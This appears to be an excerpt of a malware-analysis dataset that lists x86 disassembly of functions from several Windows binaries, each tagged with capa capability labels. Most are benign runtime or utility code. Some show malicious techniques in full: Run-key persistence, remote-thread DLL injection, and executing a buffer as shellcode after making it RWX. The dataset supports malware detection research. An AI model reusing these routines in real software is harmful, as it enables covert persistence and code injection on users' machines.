joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42de50
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
jne 0x42de60
xor eax, eax
jmp 0x42dffd
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
mov dword [ebp + 8], eax
cmp dword [ebp + 0x10], 8
jb 0x42dfbe
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x44fe50]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x44fe50]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
add edx, 1
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0xc]
movzx ecx, byte [eax]
xor ecx, dword [ebp + 8]
and ecx, 0xff
mov edx, dword [ebp + 8]
shr edx, 8
xor edx, dword [ecx*4 + 0x44fe50]
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x44fe50]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x44fe50]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
add edx, 1
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0xc]
movzx ecx, byte [eax]
xor ecx, dword [ebp + 8]
and ecx, 0xff
mov edx, dword [ebp + 8]
shr edx, 8
xor edx, dword [ecx*4 + 0x44fe50]
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x44fe50]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x44fe50]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
add edx, 1
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0x10]
sub eax, 8
mov dword [ebp + 0x10], eax
jmp 0x42de69
cmp dword [ebp + 0x10], 0
je 0x42dff7
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x44fe50]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0x10]
sub edx, 1
mov dword [ebp + 0x10], edx
jne 0x42dfc4
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
pop ebp
ret
Function at 0x42eee0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
imul eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0x14]
movzx edx, byte [ecx]
test edx, edx
je 0x42ef2f
push 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42ef25
mov edx, dword [ebp + 0x14]
mov byte [edx + 8], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
div dword [ebp + 0xc]
jmp 0x42ef89
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0x18]
add ecx, dword [ebp - 8]
mov edx, dword [ebp + 0x14]
cmp ecx, dword [edx + 0x14]
jbe 0x42ef4f
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x14]
mov edx, dword [eax + 0x14]
sub edx, dword [ecx + 0x18]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx + 0x10]
mov eax, dword [ebp + 0x14]
add edx, dword [eax + 0x18]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043be80
add esp, 0xc
mov edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0x18]
add ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x14]
mov dword [edx + 0x18], ecx
mov eax, dword [ebp - 4]
xor edx, edx
div dword [ebp + 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x4303d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0
jne 0x4303ea
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 4], 0xffffffff
je 0x4303f4
mov eax, 0x1000000
jmp 0x430478
mov edx, dword [ebp - 0x10]
add edx, 0x138
push edx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
push 0x44e574
mov eax, dword [ebp - 0x10]
add eax, 0x138
push eax
call fcn.0043ba70
add esp, 8
cmp dword [ebp + 0x10], 1
jne 0x43043f
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileType]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
je 0x43043f
mov eax, 0x2000000
jmp 0x430478
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0042ebb0
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x430465
mov eax, dword [ebp - 8]
jmp 0x430478
mov eax, dword [ebp - 4]
push eax
call fcn.0042f290
add esp, 4
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x430b10
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x458ac0]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [ebp + 0xc], 0
je 0x430b33
mov eax, dword [ebp + 0xc]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x430b38
jmp 0x430c1d
mov edx, dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x118]
movsx edx, byte [ecx]
test edx, edx
je 0x430b8a
mov eax, dword [ebp - 0x118]
movsx ecx, byte [eax]
cmp ecx, 0x2f
je 0x430b70
mov edx, dword [ebp - 0x118]
movsx eax, byte [edx]
cmp eax, 0x5c
jne 0x430b79
mov ecx, dword [ebp - 0x118]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x118]
add edx, 1
mov dword [ebp - 0x118], edx
jmp 0x430b47
mov eax, dword [ebp - 4]
mov dword [ebp - 0x114], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
je 0x430be5
mov edx, dword [ebp - 4]
sub edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x220]
push ecx
call fcn.0043b930
add esp, 0xc
mov edx, dword [ebp - 4]
sub edx, dword [ebp + 0xc]
mov byte [ebp + edx - 0x220], 0
lea eax, [ebp - 0x220]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00430b10
add esp, 8
mov edx, dword [ebp - 0x114]
add edx, 1
mov dword [ebp - 0x114], edx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x110]
push ecx
call fcn.0043ba60
add esp, 8
mov edx, dword [ebp - 0x114]
push edx
lea eax, [ebp - 0x110]
push eax
call fcn.0043ba70
add esp, 8
push 0
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0043b34a
mov esp, ebp
pop ebp
ret
Function at 0x43b34a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x458ac0]
jne 0x43b354
repz ret
jmp fcn.00440b0e

Function at 0x4491f1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0044193f
and dword [ebp - 4], 0
cmp dword [0x45e7f4], 0
mov ebx, eax
jne 0x4492a2
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x449353
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x449353
push eax
call fcn.004418cd
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x45e7f4], eax
call esi
push eax
call fcn.004418cd
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x45e7f8], eax
call esi
push eax
call fcn.004418cd
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45e7fc], eax
call esi
push eax
call fcn.004418cd
pop ecx
mov dword [0x45e804], eax
test eax, eax
je 0x4492a2
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004418cd
pop ecx
mov dword [0x45e800], eax
mov eax, dword [0x45e800]
cmp eax, ebx
je 0x4492fa
cmp dword [0x45e804], ebx
je 0x4492fa
push eax
call fcn.00441948
push dword [0x45e804]
mov esi, eax
call fcn.00441948
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4492fa
test edi, edi
je 0x4492fa
call esi
test eax, eax
je 0x4492f1
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4492f1
test byte [ebp - 0xc], 1
jne 0x4492fa
or dword [ebp + 0x10], 0x200000
jmp 0x449333
mov eax, dword [0x45e7f8]
cmp eax, ebx
je 0x449333
push eax
call fcn.00441948
pop ecx
test eax, eax
je 0x449333
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x449333
mov eax, dword [0x45e7fc]
cmp eax, ebx
je 0x449333
push eax
call fcn.00441948
pop ecx
test eax, eax
je 0x449333
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45e7f4]
call fcn.00441948
pop ecx
test eax, eax
je 0x449353
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x449355
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401535
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x401651
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], pe_overlay
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x4017a1
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x40180f
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x4018e1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret
Function at 0x402110
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x40215b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402154
test esi, esi
je 0x402154
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402130
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402340
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402390
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402468
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4023ce
cmp eax, 4
jne 0x4023f0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4023de
cmp edx, 4
je 0x4023de
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402340
Function at 0x401000
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
xor ebx, ebx
nop
mov edx, 1
mov ecx, ebx
shl edx, cl
test edi, edx
je 0x401059
lea eax, [ebx + 0x41]
push eax
push 0x40cdd8
lea eax, [ebp - 8]
push 4
push eax
call fcn.0040199f
add esp, 0x10
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x401059
lea eax, [ebx + 0x41]
mov byte [esi], al
inc esi
inc ebx
cmp ebx, 0x1a
jl 0x401020
mov ecx, dword [ebp - 4]
pop edi
mov byte [esi], 0
pop esi
xor ecx, ebp
pop ebx
call fcn.00401990
mov esp, ebp
pop ebp
ret
Function at 0x401650
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push 0
push ecx
push 0
push 0
push 0xd2
push 0x154
push 0
push 0x80000000
push 0xcf0000
push 0x40fcf8
push 0x40fc30
push 0
mov esi, edx
mov dword [0x40fdc0], ecx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x40fc2c], eax
test eax, eax
jne 0x401693
pop esi
ret
push edi
push esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x40fc2c]
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0xa
push 0x12c
push dword [0x40fdc0]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push dword [0x40fdc0]
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [0x40fdc0]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
push esi
mov dword [0x40fe68], esi
call fcn.004019bb
add esp, 4
mov dword [0x40fde4], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push dword [0x40fde4]
call fcn.00406c70
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, 1
pop esi
ret
Function at 0x406923
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0040341e
mov dword [ebp - 0x14], eax
cmp dword [0x40fbf0], edi
jne 0x406a14
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x4069a1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x406af4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x406af4
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x406af4
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x40fbf0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x40fbf4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x40fbf8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x40fc00], eax
test eax, eax
je 0x406a11
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x40fbfc], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x406a39
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x406a2c
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x406a4e
push 4
pop eax
jmp 0x406af6
cmp dword [ebp - 0x14], edi
je 0x406a4e
push dword [0x40fbf0]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x406a33
mov eax, dword [0x40fbfc]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x406aac
cmp dword [0x40fc00], esi
je 0x406aac
push eax
call ebx
push dword [0x40fc00]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x406aac
test eax, eax
je 0x406aac
call ecx
test eax, eax
je 0x406aa1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x406aa1
test byte [ebp - 8], 1
jne 0x406aac
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x406adc
mov eax, dword [0x40fbf4]
cmp eax, esi
je 0x406ad9
push eax
call ebx
test eax, eax
je 0x406ad9
call eax
mov edi, eax
test edi, edi
je 0x406ad9
mov eax, dword [0x40fbf8]
cmp eax, esi
je 0x406ad9
push eax
call ebx
test eax, eax
je 0x406ad9
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x40fbf0]
call ebx
test eax, eax
je 0x406af4
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x406af6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401990
leave
ret
Function at 0x4a2116ad
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov edi, eax
xor esi, esi
test edi, edi
je 0x4a2116f1
push ebx
push edi
call fcn.4a2116fb
mov ebx, eax
push ebx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4a2116e9
push ebx
push edi
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
pop ebx
pop edi
mov eax, esi
pop esi
ret

Function at 0x4a211730
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov byte [0x4a234085], 0
test esi, esi
je 0x4a211759
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x4a211749
sub eax, edx
sar eax, 1
je 0x4a211790
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push dword [0x4a2341c4]
mov esi, eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
call fcn.4a2116ad
mov dword [0x4a2341c4], eax
xor eax, eax
test esi, esi
sete al
pop esi
pop ebp
ret 8
xor esi, esi
jmp 0x4a211759
Function at 0x4a212070
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push edi
mov edi, 0x2000
push edi
mov esi, str..COM_.EXE_.BAT_.CMD_.VBS_.VBE_.JS_.JSE_.WSF_.WSH_.MSC_.CPL
push esi
push dword [ebp + 8]
xor eax, eax
mov word [str..COM_.EXE_.BAT_.CMD_.VBS_.VBE_.JS_.JSE_.WSF_.WSH_.MSC_.CPL], ax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x4a212cd6
mov eax, esi
pop edi
pop esi
pop ebp
ret 4
cmp byte [0x4a234081], 0
push ebx
je 0x4a212e2c
mov ebx, dword [sym.imp.msvcrt.dll__wcsicmp]
push 0x4a2345c0
push dword [ebp + 8]
call ebx
pop ecx
pop ecx
test eax, eax
je 0x4a21fde4
push str.ERRORLEVEL
push dword [ebp + 8]
call ebx
pop ecx
pop ecx
test eax, eax
je 0x4a21510a
push str.CMDEXTVERSION
push dword [ebp + 8]
call ebx
pop ecx
pop ecx
test eax, eax
je 0x4a22527b
push 0x4a212d80
push dword [ebp + 8]
call ebx
pop ecx
pop ecx
test eax, eax
je 0x4a225282
push str.DATE
push dword [ebp + 8]
call ebx
pop ecx
pop ecx
test eax, eax
je 0x4a22528d
push str.TIME
push dword [ebp + 8]
call ebx
pop ecx
pop ecx
test eax, eax
jne 0x4a212e04
push edi
push esi
push 1
push eax
call fcn.4a21d701
xor ecx, ecx
mov word [eax*2 + str..COM_.EXE_.BAT_.CMD_.VBS_.VBE_.JS_.JSE_.WSF_.WSH_.MSC_.CPL], cx
mov eax, esi
pop ebx
jmp 0x4a21209e
push 0x4a212e60
push dword [ebp + 8]
call ebx
pop ecx
pop ecx
test eax, eax
je 0x4a22529c
push 0x4a212e34
push dword [ebp + 8]
call ebx
pop ecx
pop ecx
test eax, eax
je 0x4a2252a8
xor eax, eax
jmp 0x4a212d78
push dword [0x4a234188]
push 0x4a215104
push edi
push esi
call fcn.4a21179d
add esp, 0x10
jmp 0x4a212d76
push eax
push edi
push esi
call fcn.4a212c56
jmp 0x4a212d76
push 2
jmp 0x4a215110
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
jmp 0x4a212d78
push edi
push esi
push 1
push eax
call fcn.4a22270d
jmp 0x4a212d6c
call dword [sym.imp.msvcrt.dll_rand]
push eax
jmp 0x4a215110
and dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetNumaHighestNodeNumber]
push dword [ebp + 8]
jmp 0x4a215110